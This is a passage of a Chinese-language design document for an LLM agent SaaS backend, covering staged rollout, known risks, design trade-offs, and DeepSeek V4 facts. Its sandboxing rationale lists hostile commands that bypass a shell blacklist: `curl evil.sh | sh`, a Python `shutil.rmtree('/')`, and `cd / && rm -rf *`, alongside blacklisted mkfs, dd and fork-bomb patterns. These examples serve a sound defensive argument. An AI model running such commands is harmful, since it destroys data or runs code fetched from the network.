| `docker exec`**容器内 tool-runner**(unix socket RPC) | metric `docker_exec_overhead / total_tool_time > 30%` 持续两周 / "模型在容器内起长驻 web 服务并对外服务"工作流 / 单 task 一轮工具调用 >20 次 | 自管进程组清理 + 自管 cgroup 切片 + 协议自带状态污染面 + 失去 Docker 工具链观测(`docker stats` / `docker top` / `docker exec -it bash` 紧急介入)代价 >> 那 200ms × N 收益;**美学统一性 ≠ 升级理由** |
### 7.6 Core 代码改造(按依赖顺序)
| # | 项 | 状态 |
|---|---|---|
| 1 | 事件流化 `loop.py` | ✅ done |
| 2 | Storage 落 PG(Session/TaskState 改 SQLAlchemy + alembic + docker-compose) | ✅ done |
| 3 | working_dir 字段语义(name 必填,派生 `users/<uid>/<name>/`,同 name 共享) | ✅ done |
| 4 | Files API(list/upload/download/delete/rename,user-rooted) | ✅ done |
| 5 | No-subtask 校验 | ✅ done |
| 6 | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 待 |
| 7 | HTTP /v1 surface | ✅ done |
| 8 | ~~CLI 双模式~~ | 撤(§7.9) |
| 9 | ~~Web UI~~ → API-only,UI 由 platform 实现 | 撤(§7.9) |
代码量增量:**+1000~1500 行**(单一 PG 比双 adapter 省 500-800 行;UI 不计入)。
### 7.7 分阶段落地
| 阶段 | 范围 | 状态 |
|---|---|---|
| A | 事件流化 | ✅ |
| B | Storage 落 PG + working_dir 语义 + no-subtask | ✅ |
| D | HTTP /v1 surface | ✅ |
| D' 过渡 | 邮箱密码 + PLATFORM_KEY → JWT + user_id 隔离 + dev SPA | ✅ |
| D' 真 OIDC | 替换 /v1/auth/login 内部为 ID token 校验 + CORS allowlist 收紧 | 1 天,发布前必做 |
| C | Executor + sandbox(`run_python`/`shell` → `Executor.run`;docker exec) | 3 天,**外部用户开放的 hard prereq**(详 §7.8 / §7.9 2026-05-21) |
| ~~E~~ | ~~CLI transport 双模式~~ | 撤(§7.9) |
| ~~G~~ | ~~Web UI 简洁版~~ | 撤(§7.9) |
| F | 上线打磨(限流 / 监控 / 告警 / HA) | 持续 |
**B 阶段一次性切换**:切到 PG 后本地与 SaaS 走相同代码路径,无回退、无双轨,dogfood 即生效。
**D 落在 G 前面**:原排期 D 在 G 后(以为 dogfood 用 UI 跑),转向"platform 端联调"后 API surface 反而成阻塞;G 的 Jinja2+HTMX 投入沉淀的 sink 协议 / broker / no-subtask / files 路径安全归一 / task_dir 相对存储仍被 D 复用。
### 7.8 已知风险
| 风险 | 缓解 |
|---|---|
| 过早抽象违背 §5 | B 阶段单一 PG 无 adapter;各阶段独立 dogfood 价值;CLI REPL 整套撤无双 transport 维护税 |
| `/v1` 冻死后演化慢 | minor 半年兼容,major 6 个月 deprecation |
| Rename 误中前缀 / 漏改子 task | cascade SQL 用 `old/%` + 单测覆盖 |
| Running task 被 rename / delete | 后端校验 + UI 禁按钮(详 §7.4) |
| 误删 folder | 二确认 + 输入 folder 名;真要再加 trash bin |
| DB-then-FS 中断留孤儿目录 | rename 顺序 DB UPDATE → FS rename(FS 失败回滚 DB);delete 后台 GC 周期扫"FS 有但 DB 无引用" |
| 同 folder 多 task 并发写同名 | known limitation,实践频率近 0(同 wd 多 task 是"项目对话历史轨迹",非并发);dev SPA chat 区顶 banner 软警告(`GET /v1/tasks?working_dir=&run_status=running,cancelling` 拉同 wd 活跃邻居),不挡发送;宪法文件已由 `<date>-<short_id>` 命名隔离(§7.9 2026-05-20);真高频出现再加 gate |
| 同 task 并发 POST messages 撞 `messages.idx` | `POST /messages` 单活 run gate:`SELECT … FOR UPDATE` 锁 task + `run_status in ('running','cancelling')` → 409;启动 lifespan reaper 把孤儿 `running`/`cancelling` 全标 error。未来 multi-worker 换 heartbeat / lease |
| Run 跑太久 / 用户想中断 | `POST /v1/tasks/{id}/cancel` 协作式;LLM 走 streaming,chunk 间 poll cancel → 延迟 ~ 单 chunk 间隔(100ms 级)|
| `shell` / `run_python` 在 SaaS 无沙箱即开放外部用户 = 主机沦陷 / 跨 user 读 working_dir / cloud metadata 凭据泄漏 / 内网扫描 | **Stage C(§7.5 per-user sandbox container + per-tool exec + drop caps + read-only rootfs + bind mount = own user root + default-deny network)是开放外部用户的 hard prereq**;现状 `tools/shell.py::BLOCKED_PATTERNS` 是 trivial-bypass 的装饰品(双空格 / `bash -c` / `python -c` / `curl \| sh` / `cd /` 全能过),**不在它上面加规则**,黑名单 fundamentally broken;外部开放前仅 dogfood + 信任同事白名单手动加 |
| Sandbox 出站越权 | 容器默认 deny outbound;搜索 / 抓网页走宿主受控工具;依赖安装走受控 PyPI 镜像或 HTTP proxy,并显式阻断 cloud metadata / 内网地址 |
| 资源滥用 | 容器硬限制(CPU/mem/pids/timeout/并发 exec/上传大小) + user 软配额(磁盘、LLM cost、tool wall time、文件流量、网络下载量);idle 5 分钟回收 |
### 7.9 取舍说明
**path-as-identity 而非 folder_id**:folder 真实存在于 FS,folder_id 等于造两份 source of truth。rename 是 UI 主动动作,顶层目录走 DB-aware 同事务 cascade(§7.4)。
**`/v1/files/*` 作目录树唯一 mutation 入口,DB-FS 一致性服务端内化**(2026-05-18):此前提过双命名空间 `/v1/folders/rename` vs `/v1/files/rename`,内部 `if path is top-level` 分支被视为"代码异味"。实际反了 — 这个分支**从数据状态派生**(path 恰好是 working_dir),不是从客户端意图派生,放服务端是更安全的位置(client 没法绕过去导致悬空引用);双命名空间反而把同一个分支搬到 client 去做,失去强制力且端点表面翻倍。
**user auth 而非 tenant 层**:个人 SaaS 用不上。企业版加 `org_id` claim 等价。
**skill 产物全落 working_dir 不引入 artifacts 表**:中间件是用户花 token 生成的资产,可下载可替换;artifacts 表是为不确定 UX 收益预付架构成本。真嫌乱 UI 加折叠视图。
**hard cascade 而非 soft orphan**:`orphaned` 让 list / resume / UI 都多一种特殊 case,"删 folder = 删项目"比"留对话残骸"自然。
**0004 删 `runs` + `usage_events` 表**(2026-05-18):`runs` 表 tokens_p/c 写但从未读(真 tokens 走 tasks 累计),`started_at/finished_at/error` 也只写不读;`run_id` 单活 run 形态下对客户端 / broker / cancel 全冗余。合并 `run_status` + `run_error` 两列入 `tasks`。`usage_events` 从未真写,纯死代码,真要计费再加。**代价**:失"历史 run 元数据"(每次 LLM 调用的独立时间戳 / token 切片) — messages 表已记下产物,token 累计在 tasks,真要细粒度审计再补回 `usage_events`(届时是新需求,不是技术债)。
**本地也用 PG,不用 SQLite / JSON**:① dogfood ≡ 真实用户路径,bug 在 dogfood 就能复现;② Docker 已是必然依赖(§7.5),`docker compose up postgres` 零增量门槛;③ 双 adapter 维护税远高于 PG 一次性配置成本;④ 本地 dev 也能连远端测试服。
**API-only,UI 由 platform 实现**(2026-05-15):用户决定与已有 platform 联调,前端用 platform 框架,本仓库再维护 HTML/CSS/HTMX 就是双套 UI 浪费。删 `web/templates/*` + Jinja2/markdown-it-py/pygments 依赖,SSE event payload 从 HTML 片段切 JSON,路由统一 `/v1` 前缀。沉淀:sink 协议 / RunBroker fan-out / no-subtask / files 路径安全归一 / task_dir 相对存储全部保留,不被 UI 层牵连。
**dev SPA 留一份 + 升级为本地 dogfood 主路径**(2026-05-15,05-18 强化):`web/static/dev.html` 单文件 vanilla JS,3 栏布局(task list + chat + files),无构建链。与"UI 由 platform 实现"不冲突 — platform UI 是给真用户的生产形态;dev.html 是给开发者 dogfood + 自验 /v1 API + SSE 流的开发期工具(SSE 调试在 curl 里看不到 UI 反应,Swagger 不发 SSE 流也没流式视图,删了再补不如留着)。登录页两 tab(邮箱密码 默认 / UUID+PLATFORM_KEY 备用,last-used 持久化)→ JWT → localStorage → fetch+Bearer。
**CLI REPL 撤,入口统一 `main.py {web,db,probe,user}`**(2026-05-18):原计划 `cli.py chat` REPL 本地直跑 + `--remote https://...` 走 HTTP,两套覆盖"本地调内部状态"+ "dogfood ≡ 真用户路径"。dev SPA 落地后浏览器一直开着,REPL 命令与 web `/v1` 接口完全等价;维护双套 task 切换语义只是"对称美",每个 REPL 命令的 bug fix 要在 web 端再 fix 一次。`--remote` 从未实现也再不需要(platform 联调 + dev SPA + curl Swagger 已覆盖)。**失**:CLI "无 auth 直跑调 core 内部状态"通道 — 但 dev SPA 邮箱密码登录走同一条 web 路径,看内部状态可临时写几行 ad-hoc script,不需要常驻 CLI 命令。
**Memory 不入 DB**:跨 task 共享靠"同一 user 同一 FS 目录"自动达成。md 用户直接编辑器改,DB 化反而要造 UI、违反 §3.7"事实由用户判断"。
**Tasks/Messages 在 PG 但 skill 产物在 FS**:tasks / messages 需要查询、过滤、全文搜、跨 task 统计 — DB 强项;skill 产物(`*.pptx` / `*.docx` / `sections/*.md`)终用户拿走,期望文件管理器看到、Office 打开、邮件发出 — 进 DB 要做"导出"多余操作。**FS 是产物天然存储,DB 是元数据 / 状态 / 索引天然存储**。同理 §7.5 bind mount = user root,容器里 ≡ 用户在 Web UI 看到的目录,无中间层翻译;per-user 容器天然匹配这个边界,per-task 容器会把同 user 共享工作区人为切碎。
**同 wd 多 task 并发不做 gate / clone / 物理隔离,只做软警告**(2026-05-21):候选方案过 γ(同 wd 单活 run gate)/ short_id 全产物隔离 / clone task 三种 — 最终都判定过度工程。dogfood 经验:同 wd 多 task 主要是"项目对话历史轨迹",并发频率近 0(用户开新 task 多数是想换思路重启,但不与旧 task 同时跑)。**走 Claude Code 同款"信任 + 软警告 + 承认 limitation"**(它官方文档把"多 session 同 cwd plan 文件互覆"也定为 known limitation,推荐 git worktree 但不强制),不在主路径加复杂度。dev SPA 在 selectTask + SSE 收尾两个触发点拉 `GET /v1/tasks?working_dir=&run_status=running,cancelling`,有命中挂 banner;真高频再升级 γ。**为什么不选 γ**:同 wd 单活硬挡破坏"扁平共享中间产物"对应的对话切换流畅性,且 cancelling 状态可能阻塞用户 retry 时一个错觉的"我没在跑啊";**为什么不选 short_id 全产物**:破坏 §7.1 同 wd 共享中间产物语义(扁平 figures/sections/ 跨 task 复用)+ SKILL.md 改造成本;**为什么不选 clone task**:解决的是"真要并行"罕见场景,工程量(cp -r + 新 task 流程 + UI 入口)对零频场景过重。
**`shell` / `run_python` 不在工具层加强黑名单,SaaS 上线前 §7.5 sandbox 是 hard prereq**(2026-05-21,05-25 更新):`tools/shell.py::BLOCKED_PATTERNS` 只挡 `rm -rf /` / `mkfs` / `dd` / fork bomb 几个明显失误,任何稍有意识的攻击者都绕得过 —— 双空格 / `bash -c` / `python -c "import shutil; shutil.rmtree('/')"` / `curl evil.sh \| sh` / `cd / && rm -rf *` / 间接 `bash script.sh` 全过。`cwd=base_dir` 只是起点不是 chroot,绝对路径 / `cd` 跑出去毫无阻力。**为什么不在它上面继续加规则**:命令注入的攻击面是图灵完备的(`shell=True` + 任何脚本语言可执行),黑名单不可能枚举完,做得越复杂越给人虚假安全感,且会误伤合法用法(`ls *.py | wc -l` / 重定向 / 子 shell)。**正确防线在 OS 层而非工具层**:§7.5 per-user sandbox container + per-tool exec + drop ALL caps + read-only rootfs + bind mount = own user root + default-deny network + cgroup limits,这是 SaaS 开放外部用户的 hard prereq,Stage C 完成前一律仅 dogfood + 信任同事白名单手动加,DESIGN §7.7 / §7.8 已标 blocking。**为什么 per-user 而非 per-task**:用户文件模型就是 user-rooted,同 user 多 task 共享素材 / memory / working_dir 是产品价值;安全目标是跨 user 隔离,不是同 user task 互隔。**为什么不是所有操作都进容器**:auth / DB / files API / SSE / LLM / 受控 web 工具属于 control plane,必须留在宿主后端做权限和审计;只有不可信代码执行进 execution plane。**为什么不选"shell=False + 拒管道 / 重定向 / `$()`"折中**:挡不住 `python -c` / `bash script.sh` 间接路径(任何脚本语言都可执行任意系统调用),且砍掉大量合法 shell 用法让 agent 体验崩,给人虚假安全感。**本地 dogfood 现状接受风险**:用户自己的机器 + 自己输的 prompt,blast radius 限自身,§5 "less scaffolding more trust" 适用;外部用户场景 blast radius 是 SaaS 主机 + 其他 user 数据 + cloud IAM,信任模型完全不同,必须 §7.5。
**task 级「宪法」文件靠文件名隔离,不 cascade / 不入 DB / 不开物理子目录**(2026-05-20):同 working_dir 多 task **共享中间产物**(`source/` / `sections/` / `figures/`)是真实价值(素材跨多本子复用),但 spec 这种 task 1:1 宪法文件必须隔离(两本子 spec 直接撞)。文件名 `<YYYY-MM-DD>-<task_short_id>-<task_name>.<base>.md`:`task_short_id`(`task_id.hex[:8]`,永不变)主锚,glob `*-<short_id>-*.<base>.md` 字典序最大 = current 版本;`<YYYY-MM-DD>` 让"重定调"写新文件而非 edit 覆盖,旧版自然成历史快照;`<task_name>` 仅作"建时元数据 / 人类可读说明",改 name 不 cascade(由 short_id 兜底定位)。**反方案不选**:① cascade rename — in-flight run 期间文件丢 + 复杂度上升;② DB 化(spec 入 PG)— 架构最干净但工作量 5-10×,且失"用户直接编辑 markdown"能力,且 spec 字段还在演化没必要这么早 schema 化;③ 物理 task 子目录(`<working_dir>/<task>/`)— 破坏 §7.4 中间产物扁平共享设计。**升级到 DB 化的信号**:dev SPA 想做结构化编辑视图 / 想跨 task 查询 spec 字段(基金类型 / 经费 / 考核指标)/ markdown 版本文件堆积乱。约定由 `core/agent_builder.py::_build_system_prompt` 单点注入(`task_id` / `today` 实际值嵌入),所有 skill SKILL.md 引用同一份(目前 proposal / ppt 的 `spec`,未来 `outline` 等同款)。
---
## 附录:DeepSeek V4 关键事实(2026-04-24)
- **V4-Pro**:1.6T / 49B 激活,1M context,SWE-Bench 80.6 / Terminal-Bench 67.9 / MCPAtlas 73.6
- **V4-Flash**:284B / 13B 激活,1M context
- 推理模式:non-thinking / thinking / thinking-max
- 价格:in ~$0.145/M,out ~$1.74/M(约 Claude Opus 1/6 ~ 1/7)
- `deepseek-chat` / `deepseek-reasoner` 2026-07-24 下线 → 必须迁 `deepseek-v4-flash` / `deepseek-v4-pro`